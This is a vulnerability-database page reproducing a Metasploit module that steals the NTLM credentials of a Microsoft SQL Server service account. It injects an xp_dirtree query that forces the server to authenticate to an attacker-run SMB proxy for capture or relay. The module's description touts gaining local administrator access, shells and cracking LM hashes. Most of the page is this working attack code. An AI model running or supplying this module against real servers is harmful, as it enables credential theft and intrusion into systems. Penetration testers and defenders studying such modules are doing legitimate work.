Lucene search
K

Microsoft SQL Server SQLi NTLM Stealer

🗓️ 16 Oct 2012 19:26:10Reported by nullbind <[email protected]>, Antti <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 49 Views

Microsoft SQL Server SQLi NTLM Stealer. Capture NTLM credentials via SQL injection and use relay module for attac

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::MSSQL_SQLI

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Microsoft SQL Server SQLi NTLM Stealer',
      'Description'    => %q{
        This module can be used to help capture or relay the LM/NTLM credentials of the
        account running the remote SQL Server service. The module will use the SQL
        injection from GET_PATH to connect to the target SQL Server instance and execute
        the native "xp_dirtree" or stored procedure.   The stored procedures will then
        force the service account to authenticate to the system defined in the SMBProxy
        option. In order for the attack to be successful, the SMB capture or relay module
        must be running on the system defined as the SMBProxy. The database account used to
        connect to the database should only require the "PUBLIC" role to execute.
        Successful execution of this attack usually results in local administrative access
        to the Windows system.  Specifically, this works great for relaying credentials
        between two SQL Servers using a shared service account to get shells.  However, if
        the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
        and john the ripper.
      },
      'Author'         =>
        [
          'nullbind <scott.sutherland[at]netspi.com>',
          'Antti <antti.rantasaari[at]netspi.com>'
        ],
      'License'        => MSF_LICENSE,
      'References'     => [[ 'URL', 'https://en.wikipedia.org/wiki/SMBRelay' ]]
    ))

    register_options(
      [
        OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
      ])
  end

  def run

    # Reminder
    print_status("DONT FORGET to run a SMB capture or relay module!")

    # Generate random file name
    rand_filename = Rex::Text.rand_text_alpha(8, bad='')

    # Setup query - double escaping backslashes
    sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
    print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")

    # Execute query to force authentication from backend database to smbproxy
    mssql_query(sql)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation